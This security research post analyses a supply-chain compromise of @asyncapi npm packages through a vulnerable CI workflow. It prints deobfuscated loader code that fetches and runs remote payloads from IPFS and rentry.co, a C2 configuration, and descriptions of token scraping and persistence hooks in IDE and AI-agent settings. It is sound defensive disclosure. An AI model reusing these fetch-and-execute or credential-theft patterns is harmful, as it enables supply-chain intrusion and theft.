emerging threats and vulnerabilities

Compromised AsyncAPI npm packages: inside a CI supply-chain attack

July 14, 2026

Compromised Asyncapi Npm Packages: Inside A Ci Supply-chain Attack

Key points and observations

  • On July 14, 2026, four npm packages in the @asyncapi namespace, totaling over 3 million weekly downloads, were compromised to distribute malicious code.
  • The attacker injected the code through a GitHub commit. It steals credentials from the infected machine and exfiltrates them to a remote, attacker-controlled server.
  • We assess that the threat actor exploited a publicly disclosed vulnerability in the project's CI pipeline to compromise credentials for the bot account that performs releases.
  • The techniques used in this attack point to a sophisticated threat actor with CI-aware tactics.
The full supply chain attack path, from the release bot's stolen credentials to the second-stage payload running on developer machines
The full supply chain attack path, from the release bot's stolen credentials to the second-stage payload running on developer machines (click to enlarge)

How to know if you're affected

You're affected if you use one of the following package versions:

Package Malicious version
@asyncapi/generator 3.3.1
@asyncapi/generator-components 0.7.1
@asyncapi/generator-helpers 1.1.1
@asyncapi/specs 6.11.2 (also 6.11.2-alpha.1)

To hunt for compromises in your environment, use the indicators in the Indicators of compromise section.

What happened

We identified malicious code in a set of popular npm packages and traced it to a commit (3eab3ec) on the asyncapi/generator GitHub repository. The commit injects obfuscated code across several files.

The obfuscated malicious code injected into the compromised commit
The obfuscated malicious code injected into the compromised commit (click to enlarge)

After deobfuscation, the injected code runs node -e with an embedded JavaScript payload:

async function main() {
  try {
    spawn('node', ['-e', PAYLOAD], {
      detached: true,
      stdio: 'ignore',
      windowsHide: true,      // hides the window on Windows
    }).unref();               // detaches so it outlives the parent
  } catch (e) {
    console.error(e.message);
  }
}
main();

The embedded code fetches a second stage from hxxps://ipfs[.]io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9 (hosted on IPFS, a peer-to-peer file distribution network). It writes the file to a local sync.js, whose location depends on the operating system (~/.local/share/NodeJS on Linux, ~/Library/Application Support/NodeJS on macOS, %LOCALAPPDATA%/NodeJS on Windows), then executes it:

const FILE_URL  = 'hxxps://ipfs[.]io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9';
const FILE_NAME = 'sync.js';

async function main() {
  try {
    const dir  = getTargetDirectory();
    const dest = path.join(dir, FILE_NAME);
    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
    await downloadFile(FILE_URL, dest);
    spawn('node', [dest], { detached: true, stdio: 'ignore', windowsHide: true }).unref();
    process.exit(0);
  } catch (e) {
    console.error(e.message);
    process.exit(1);
  }
}
main();

Once the attacker injected the malicious code, the automated CD pipeline published several packages:

Package Malicious version
@asyncapi/generator 3.3.1
@asyncapi/generator-components 0.7.1
@asyncapi/generator-helpers 1.1.1
@asyncapi/specs 6.11.2-alpha.1, 6.11.2

Inside the payload: a credential stealer

The second-stage payload decrypts a JSON configuration file using an encryption key derived from hardcoded values and the HKDF key derivation algorithm. The decrypted configuration below lists the command and control (C2) URLs and several runtime parameters:

{
  "attackerPub": "0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e",
  "c2Server": "http://85.137.53[.]71:8080",
  "uploadServer": "http://85.137.53[.]71:8081",
  "c2ProxyMgmt": "http://85.137.53[.]71:8091",
  "serverManager": "http://127.0.0.1:8090",
  "blockchain": {
    "rpcUrl": "https://ethereum-rpc.publicnode[.]com",
    "chainId": 1,
    "contractAddress": "0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710"
  },
  "log": {
    "encryptedFile": "~/.cache/.sys_cache/.diag.enc",
    "fifoBufferMb": 200
  },
  "target": {
    "name": "miasma-train-p1",
    "ecosystem": "npm"
  },
  "persist": true
}

This payload's features include:

  • Cryptographic guardrails: The malware uses Elliptic Curve Cryptography (secp256k1). It validates commands with cryptographic certificates, so it only accepts orders signed with the attacker's private master key.
  • Targeted credential harvesting: It crawls dev environments for cloud infrastructure credentials (.aws/credentials, .kube/config, GCP tokens), package registry tokens (npm authorization keys), and communication platform secrets (Slack, Discord, Telegram tokens).
  • IDE and workflow hooking: To maintain persistence, the malware injects malicious workflows into popular development configurations, specifically .vscode/tasks.json and .claude/settings.json.
  • Resilient command and control (C2): If its primary command servers go offline, the framework falls back on decentralized channels, including Nostr relays and localized peer-to-peer mesh networks (libp2p).

From malicious commit to compromised package

This section examines the GitHub activity that distributed the malicious code through the compromised npm packages.

How the malicious code got into the GitHub repository

We analyzed GitHub activity on the asyncapi/generator repository around the time of the incident. Beyond the commit that introduced the code shipped in the compromised packages (3eab3ec), the attacker pushed several earlier commits, all with the same placeholder Git authorship metadata (Your Name <[email protected]>).

First, at 5:40 UTC, the attacker pushed a malicious commit (14da44f) to a new branch called update. The branch no longer exists, but the GitHub Activity API still records its creation:

gh api "repos/asyncapi/generator/activity?per_page=1000" \
  --jq '.[] | select(.ref=="refs/heads/update" and .activity_type=="branch_creation")'
{
  "activity_type": "branch_creation",
  "actor": {
    "login": "asyncapi-bot",
    "type": "User"
  },
  "after": "14da44f793c96f6bdcebb3f1b85cdb1d15dae460",
  "before": "0000000000000000000000000000000000000000",
  "ref": "refs/heads/update",
  "timestamp": "2026-07-14T05:40:04Z"
}

Second, at 5:42 UTC, the attacker pushed the same commit 14da44f to a new branch called next. The Activity API records that branch creation in the same way, this time with "ref": "refs/heads/next" and a 05:42 timestamp:

gh api "repos/asyncapi/generator/activity?per_page=1000" \
  --jq '.[] | select(.ref=="refs/heads/next" and .activity_type=="branch_creation")'

Then, at 5:46 UTC, the attacker force-pushed the branch back to the clean commit ff010ef. The API confirms the force push:

gh api "repos/asyncapi/generator/activity?per_page=1000" \
  --jq '.[] | select(.ref=="refs/heads/next" and .activity_type=="force_push" and (.after|startswith("ff010ef")))'
{
  "activity_type": "force_push",
  "actor": {
    "login": "asyncapi-bot",
    "type": "User"
  },
  "after": "ff010ef38e1be1ffc4112c8903f43637ecbf4041",
  "before": "14da44f793c96f6bdcebb3f1b85cdb1d15dae460",
  "ref": "refs/heads/next",
  "timestamp": "2026-07-14T05:46:04Z"
}

Then, at 5:51 UTC, the attacker pushed another malicious commit 224b7fe9 to the next branch, and at 7:05 UTC force-pushed commit 3eab3ec. This final commit is the one that ended up in the compromised npm packages.

How the malicious code ended up in npm packages

The Release GitHub Action publishes new package versions to npm. For example, this run published the legitimate version 3.3.0.

For the attacker's first two commits, the release job ran but skipped publishing to npm (run 1, run 2).

The release workflow ran on the attacker's early commits but skipped publishing to npm
The release workflow ran on the attacker's early commits but skipped publishing to npm (click to enlarge)

The release job only publishes for certain commit message patterns, which the first two attacker commits (patch and ci: update of files from global .github repo) did not match:

if: |
   startsWith( github.repository, 'asyncapi/' ) &&
   (startsWith( github.event.commits[0].message , 'fix:' ) ||
   startsWith( github.event.commits[0].message, 'fix!:' ) ||
   startsWith( github.event.commits[0].message, 'feat:' ) ||
   startsWith( github.event.commits[0].message, 'chore(release):' ) ||
   startsWith( github.event.commits[0].message, 'feat!:' ))

No such workflow runs exist for the follow-up commits 224b7fe9 and 3eab3ec, even though both match the expected fix: pattern. Yet a few minutes after the last commit, a new release (3.3.1) appeared at 7:10 UTC. npm provenance for the malicious @asyncapi/generator version confirms the package was published from the usual CI pipeline:

npm provenance for the malicious version, showing it was built and signed on GitHub Actions from the project's CI pipeline
npm provenance for the malicious version, showing it was built and signed on GitHub Actions from the project's CI pipeline (click to enlarge)

The detailed provenance entry on Rekor, the public transparency log for Sigstore, shows:

GitHub Workflow Trigger: push
GitHub Workflow SHA: 3eab3ec9304aa26081358330491d3cfeb55cc245
GitHub Workflow Name: Release
GitHub Workflow Repository: asyncapi/generator
GitHub Workflow Ref: refs/heads/next
Source Repository Digest: 3eab3ec9304aa26081358330491d3cfeb55cc245
Build Trigger: push
Run Invocation URI: https://github.com/asyncapi/generator/actions/runs/29313420558/attempts/1

The GitHub Action run 29313420558 named in the provenance links to a workflow run that no longer exists. We assess with high confidence that:

  • The usual CI/CD pipeline published the malicious npm versions, packaging the code the attacker introduced.
  • Someone manually removed the successful workflow that published the package to npm.
  • The threat actor held GitHub credentials for the asyncapi-bot user and used that access to publish their backdoor.

How the attacker got in

As the previous section showed, we assess that the threat actor carried out this attack after compromising GitHub credentials for asyncapi-bot. This section describes how we identified the likely root cause.

How the attacker gained initial access, from spam pull requests to stealing the project's release credentials through a vulnerable CI workflow
How the attacker gained initial access, from spam pull requests to stealing the project's release credentials through a vulnerable CI workflow (click to enlarge)

It all starts with spam

We started by analyzing GitHub activity on the asyncapi/generator repository around the time of the compromise and quickly found 36 pull requests titled docs: add donation files, opened by 8 distinct users between 05:03 and 06:14 UTC. These now-deleted pull requests looked harmless: each added a fake donation page to the project.

A sample of the 36 spam pull requests titled 'docs: add donation files'
A sample of the 36 spam pull requests titled 'docs: add donation files' (click to enlarge)

The spam looked anecdotal, but its timing was suspicious: the pull requests appeared moments before the attack unfolded.

All it takes is a vulnerable CI workflow

We kept looking and found a pull request from a legitimate contributor that fixes a "PwnRequest" vulnerability in the Docs Preview (Netlify) CI job. The job uses the risky pull_request_target trigger:

name: Docs Preview (Netlify)

on:
  pull_request_target:
    paths:
      - 'apps/generator/docs/**'

An attacker who can write code under apps/generator/docs/* can therefore run arbitrary code from a pull request, without maintainer approval.

Returning to the spam pull requests, we noticed a gap in their numbering, suggesting the attacker hid a malicious pull request behind the noise:

https://github.com/asyncapi/generator/pull/2149
https://github.com/asyncapi/generator/pull/2150
https://github.com/asyncapi/generator/pull/2151
https://github.com/asyncapi/generator/pull/2152
https://github.com/asyncapi/generator/pull/2153
https://github.com/asyncapi/generator/pull/2154
# No 2155 ?
https://github.com/asyncapi/generator/pull/2156
https://github.com/asyncapi/generator/pull/2157
https://github.com/asyncapi/generator/pull/2158
https://github.com/asyncapi/generator/pull/2159
https://github.com/asyncapi/generator/pull/2160

Pull request #2155 (docs: add template) was still viewable at the time of writing. A since-deleted user had opened it to merge a branch from a repository that was also already deleted, so we could not see the malicious code they submitted.

Pull request #2155, opened by 'ghost' (the generic username GitHub uses for deleted accounts) from an already-deleted repository
Pull request #2155, opened by 'ghost' (the generic username GitHub uses for deleted accounts) from an already-deleted repository (click to enlarge)

Using the API to unmask the malicious GitHub user and payload

Where there's smoke, there's fire. Reviewing the repository's GitHub Action runs, we found one (29307859879) that the malicious pull request triggered on the vulnerable job.

The Docs Preview (Netlify) workflow run triggered by the malicious pull request
The Docs Preview (Netlify) workflow run triggered by the malicious pull request (click to enlarge)

The GitHub API returned extra details that revealed the user who actually submitted the pull request:

gh api "repos/asyncapi/generator/actions/runs/29307859879"
{
    "id": 29307859879,
    "name": "Docs Preview (Netlify)",
    "node_id": "WFR_kwLOCHlHJM8AAAAG0uJzpw",
    "head_branch": "fix/docs",
    "head_sha": "47be3886e460107a4ea5ce88ad674a65724ac4a7",
    "path": ".github/workflows/manual-netlify-preview.yml",
    "display_title": "Docs Preview (Netlify)",
    "event": "pull_request_target",
    "created_at": "2026-07-14T05:11:05Z",
    "updated_at": "2026-07-14T05:16:39Z",
    "head_commit": {
        "id": "47be3886e460107a4ea5ce88ad674a65724ac4a7",
        "message": "docs: add template",
        "timestamp": "2026-07-14T05:08:58Z",
        "author": {
            "name": "Your Name",
            "email": "[email protected]"
        },
        "committer": {
            "name": "Your Name",
            "email": "[email protected]"
        }
    },
    "head_repository": {
        "id": 1295862912,
        "full_name": "elzotebo999/generator",
        "private": false,
        "owner": null,
        "html_url": "https://github.com/elzotebo999/generator",
        "fork": true
    }
}

elzotebo999 is the now-deleted user who pushed the malicious commit 47be388 in elzotebo999/generator, a since-deleted fork of asyncapi/generator.

How do we recover the payload? Commits in a fork remain accessible from the upstream repository, so we can retrieve the malicious commit at https://github.com/asyncapi/generator/commit/47be388.

The malicious commit 47be388, still accessible from the upstream repository after the fork was deleted
The malicious commit 47be388, still accessible from the upstream repository after the fork was deleted (click to enlarge)

Analyzing the malicious commit payload

The malicious commit exploits the pull_request_target vulnerability in the GitHub Action that builds the Netlify documentation preview. When the attacker triggers the pipeline from their fork, the build runs the malicious JavaScript embedded in the curly braces.

Running inside CI, the code deobfuscates to a variation of:

fetchRentryText()
  .then(code => { eval(code); })
  .catch(() => {});

fetchRentryText retrieves a second stage from the Rentry.co paste service (specifically https://rentry[.]co/elzotebo999) and executes it:

const BASE_URL         = "https://rentry.co";
const SOURCE_URL       = "https://rentry.co/elzotebo999";
const SOURCE_EDIT_CODE = "elzotebo";

async function fetchRentryText() {
    const res = await fetch(BASE_URL + "/api/fetch/" + encodeURIComponent(slug), {
    method: "POST",
    headers: {
      Referer: BASE_URL,
      Cookie: session.cookie,
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": "rentry-sync/1.0",
    },
    body,
  });

  // ...
  return data.text;
}

This CI second stage has since been taken down, but it was still available during our analysis.

A CI-aware second stage with memory dumping capabilities

The second stage is a complex piece of malware that dumps GitHub and Netlify tokens from the running pipeline and exfiltrates them to https://rentry[.]co/elzotebo. This Rentry paste was last edited at 5:17 UTC, a few seconds after the vulnerable pipeline finished.

We assess that after exfiltrating the credentials, the attacker overwrote them with the string Hello:

The Rentry paste used for exfiltration, later overwritten with the string 'Hello'
The Rentry paste used for exfiltration, later overwritten with the string 'Hello' (click to enlarge)

At a high level, the payload works as follows. We deobfuscated the code and lightly edited it for clarity.

Runs asynchronously. So the rest of the pipeline can run and produce credentials, the malware writes code to /tmp/observer-<pid>.js and executes it asynchronously:

const observerPath = '/tmp/observer-' + process.pid + '.js';
await fsp.writeFile(observerPath, maliciousCode, { encoding: 'utf8', mode: 0o600, flag: 'wx' });
const child = spawn(process.execPath, [observerPath], { detached: true, stdio: 'ignore', cwd: '/tmp'});

Dumps environment variables from running processes. The malware scans /proc/*/environ for INPUT_GITHUB-TOKEN, NETLIFY_AUTH_TOKEN, and NETLIFY_SITE_ID, and writes any matches to /tmp/observer.log.

Patches the actions/checkout code in the runner. The malware patches /home/runner/work/_actions/actions/checkout/v5/dist/index.js, the code of actions/checkout@v5, and inserts exfiltration logic. The checkout action manifest declares that this file runs when the pipeline exits, so the injected code runs after the job finishes. That timing also explains why the credential-dumping code hunts for INPUT_GITHUB-TOKEN (passed as an input to the action) rather than GITHUB_TOKEN or GH_TOKEN.

Exfiltrates credentials to a second Rentry paste. Once the pipeline finishes and the malware has collected credentials, it sends them to another paste, https://rentry[.]co/elzotebo, using a hardcoded API key.

Impact: Compromised GitHub and Netlify credentials

Through this attack path, we assess the attacker compromised a GitHub token for the asyncapi-bot user, and possibly credentials for the Netlify site that hosts the project documentation.

How Datadog can help

Datadog Code Security identifies hosts, containers, and build environments where a compromised version is installed. To scope affected systems, run the following query in the Software Composition Analysis (SCA) view:

(@package.normalized_name:@asyncapi/generator @package.version:3.3.1)
OR (@package.normalized_name:@asyncapi/generator-components @package.version:0.7.1)
OR (@package.normalized_name:@asyncapi/generator-helpers @package.version:1.1.1)
OR (@package.normalized_name:@asyncapi/specs @package.version:(6.11.2 OR 6.11.2-alpha.1))

To hunt for follow-on activity, analyze exfiltration traffic across your logs in Log Management:

@network.destination.ip:85.137.53.71 OR @http.url:*ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9

Timeline

Time (UTC) Event
05:03–06:14 AM 36 spam pull requests titled docs: add donation files opened by 8 distinct GitHub users
~05:08 AM Malicious commit 47be388 authored in the fork elzotebo999/generator
05:11 AM Malicious pull request #2155 opened; vulnerable Docs Preview (Netlify) workflow run triggered on the malicious commit
05:17 AM Stolen GitHub and Netlify credentials exfiltrated to the Rentry paste rentry[.]co/elzotebo
05:40 AM Malicious commit 14da44f pushed to a new update branch
05:42 AM Malicious commit 14da44f pushed to a new next branch
~05:46 AM next branch reset to the previous clean commit ff010ef
05:51 AM Malicious commit 224b7fe9 (fix: test release workflow on next) pushed to next branch
07:05 AM Malicious commit 3eab3ec (fix: test release workflow on next) force-pushed to next branch
07:10 AM Malicious release 3.3.1 of @asyncapi/generator published to npm

Indicators of compromise

Command and control server:

85.137.53.71

Internet scanners first observed the command and control ports (8080 and 8081) on July 13.

Second stage:

https://ipfs[.]io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9

Local artifact generated by the malware:

~/.cache/.sys_cache/.diag.enc

Attacker public key:

0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e

Ethereum contract:

0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710

Packages:

@asyncapi/[email protected]
@asyncapi/[email protected]
@asyncapi/[email protected]
@asyncapi/[email protected]
@asyncapi/[email protected]

Did you find this article helpful?

Subscribe to the Datadog Security Digest

Get the latest insights from the cloud security community and Security Labs posts, delivered to your inbox monthly. No spam.

Related Content